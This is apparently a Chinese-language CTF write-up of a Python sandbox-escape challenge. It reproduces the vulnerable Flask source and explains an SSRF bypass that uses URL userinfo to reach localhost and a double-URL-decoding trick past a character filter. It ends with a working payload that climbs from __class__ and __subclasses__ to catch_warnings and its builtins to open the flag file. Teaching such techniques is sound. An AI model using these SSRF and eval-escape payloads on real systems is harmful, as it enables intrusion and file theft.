Mobile wallpaper 1Mobile wallpaper 2Mobile wallpaper 3Mobile wallpaper 4
1114 字
6 分钟
Python沙箱逃逸(check in)
2025-12-20
统计加载中...

1.Python沙箱逃逸(check in)#

给你源码

'''
I wish you a good head start.
flag is in file namely 'flag' in the same directory as this file.
Good luck!
'''
import re
import flask
import requests
import ipaddress
from urllib.parse import urlparse
GENERAL_WAF_REGEX = r'[a-zA-Z0-9_\[\]{}()<>,.!@#$^&*]{3}' # only two of these characters ;)
app = flask.Flask(__name__)
def general_waf(code):
# Why do you need so many characters?
if re.findall(GENERAL_WAF_REGEX, code):
return True
else:
return False
def check_hostname(url):
# must starts with vnctf.
if not url.startswith('http://vnctf.'):
return False
hostname = urlparse(url).hostname
query = urlparse(url).query
# must only contain two of the restricted characters
if general_waf(query):
return False
# must not be an ip address, so no 127.0.0.1 or ::1
try:
ipaddress.ip_address(hostname)
return False
except ValueError:
pass
return url
@app.route('/')
def index():
return 'Welcome to MINI VNCTF 2025!'
@app.route('/fetch')
def fetch():
url = flask.request.args.get('url')
safe_url = check_hostname(url)
if safe_url:
try:
response = requests.get(safe_url, allow_redirects=False) # no redirects
return response.text
except:
return 'Error'
else:
return 'Invalid URL'
@app.route('/__internal/safe_eval')
def safe_eval():
# check if the request is from the internal network
if flask.request.remote_addr not in ['127.0.0.1', '::1']:
return 'Forbidden'
code = flask.request.args.get('hi')
if len(code) >= 24 * 10 + 8 * 8:
# Man! What can I say.
return 'Invalid code'
# Ah, if you get here, then your final challenge is to break this jail.
# Try it. Not as hard as it seems ;)
blacklist = ['\\x','+','join', '"', "'", '[', ']', '2', '3', '4', '5', '6', '7', '8', '9']
for i in blacklist:
if i in code:
return 'Invalid code'
safe_globals = {'__builtins__':None, 'lit':list, 'dic':dict}
return repr(eval(code, safe_globals))
if __name__ == '__main__':
app.run(debug=False, host='0.0.0.0', port=8080)

这里分三部分,第一部绕过本地地址限制,第二部是二次网络访问导致FLASK二次url解码绕过黑名单,第三部是最重要的沙箱逃逸。开始吧

先看这里

GENERAL_WAF_REGEX = r'[a-zA-Z0-9_\[\]{}()<>,.!@#$^&*]{3}' # only two of these characters ;)

这个黑名单的正则意思是任意里面三个不能连续出现,这极其严格,让我们看看后面

def check_hostname(url):
# must starts with vnctf.
if not url.startswith('http://vnctf.'):
return False
hostname = urlparse(url).hostname
query = urlparse(url).query
# must only contain two of the restricted characters
if general_waf(query):
return False
# must not be an ip address, so no 127.0.0.1 or ::1
try:
ipaddress.ip_address(hostname)
return False
except ValueError:
pass

看看这里,,要求url参数以http://vnctf.开始,并且分割了其中的hostname和query查询参数,就是说如果访问地址是自身地址但不能是127.0.0.1,也就是说可以用localhost这种绕过,总结一下就是说只能自身访问自己,然后必须以http://vnctf.开头,但是这是有漏洞的,网络的写法是这样的:

scheme://userinfo@localhost/path,这样的话因为waf简单检验了前面的http://vnctf,而后面就可以跟着@localhost:8080这样,然后就可以利用fetch去二次传请求了,因为直接访问会被waf拦,然后到了重点一环的路由/__internal/safe_eval

@app.route('/__internal/safe_eval')
def safe_eval():
# check if the request is from the internal network
if flask.request.remote_addr not in ['127.0.0.1', '::1']:
return 'Forbidden'
code = flask.request.args.get('hi')
if len(code) >= 24 * 10 + 8 * 8:
# Man! What can I say.
return 'Invalid code'
# Ah, if you get here, then your final challenge is to break this jail.
# Try it. Not as hard as it seems ;)
blacklist = ['\\x','+','join', '"', "'", '[', ']', '2', '3', '4', '5', '6', '7', '8', '9']
for i in blacklist:
if i in code:
return 'Invalid code'
safe_globals = {'__builtins__':None, 'lit':list, 'dic':dict}
return repr(eval(code, safe_globals))

这个路由先检查了客户端的访问地址必须是本地的,能解析成127.0.0.1的。,然后把hi参数赋值给code,然后限制了长度为304,然后黑名单封了十六进制,以及字符串拼接,引号都被ban了,还不能用数字,并且不能用内置模块,只能用list和dict两个模块,这怎么逃逸呢,让我们来看看:

现在,我就要重塑python沙箱逃逸,沙箱逃逸有三个法则

法则1,一切可为类,一切可溯源,就比如说下面

# 从一个数字开始
1 .__class__ # <class 'int'>
1 .__class__.__base__ # <class 'object'>
# 从一个字符串开始
"" .__class__ # <class 'str'>
"" .__class__.__mro__ # (<class 'str'>, <class 'object'>)
# 从一个元组开始(本题用的)
() .__class__ # <class 'tuple'>
() .__class__.__base__ # <class 'object'>

法则2:object是所有类的“总祖宗”#

找到object后,就能看到它所有的“子孙后代”:

object.__subclasses__() # 返回所有内置类
# 大概有几百个,比如:
# <class 'int'>, <class 'str'>, <class 'list'>,
# <class 'warnings.catch_warnings'>, <class 'os._wrap_close'>, ...

法则三,一切类会有初始方法,也就是说,会有一些原始的东西,出厂自带的东西是可以调用的,举几个例子

  • warnings.catch_warnings:能拿到__builtins__
  • os._wrap_close:能拿到os模块
  • subprocess.Popen:能执行命令
  • 在这个题目环境下,只让用dict和list,利用了两个特性,如果是x=dict(x=1)这样没有单引号和双引号,这样就建了一个字典{‘x’:‘1’}然后list(x)就将键组成了一个数组,[‘x’],然后用pop()方法取出就避免了使用’和”,下面是payload
lit(c for c in lit(o for o in ().__class__.__mro__ if o.__name__==lit(dic(object=1)).pop()).pop().__subclasses__() if c.__name__==lit(dic(catch_warnings=1)).pop()).pop().__init__.__globals__.get(lit(dic(__builtins__=1)).pop()).get(lit(dic(open=1)).pop())(lit(dic(flag=1)).pop()).read()

结束.

Python沙箱逃逸(check in)
https://steins-gate.cn/posts/minivn招新/
作者
萦梦sora~Nya
发布于
2025-12-20
许可协议
me

部分信息可能已经过时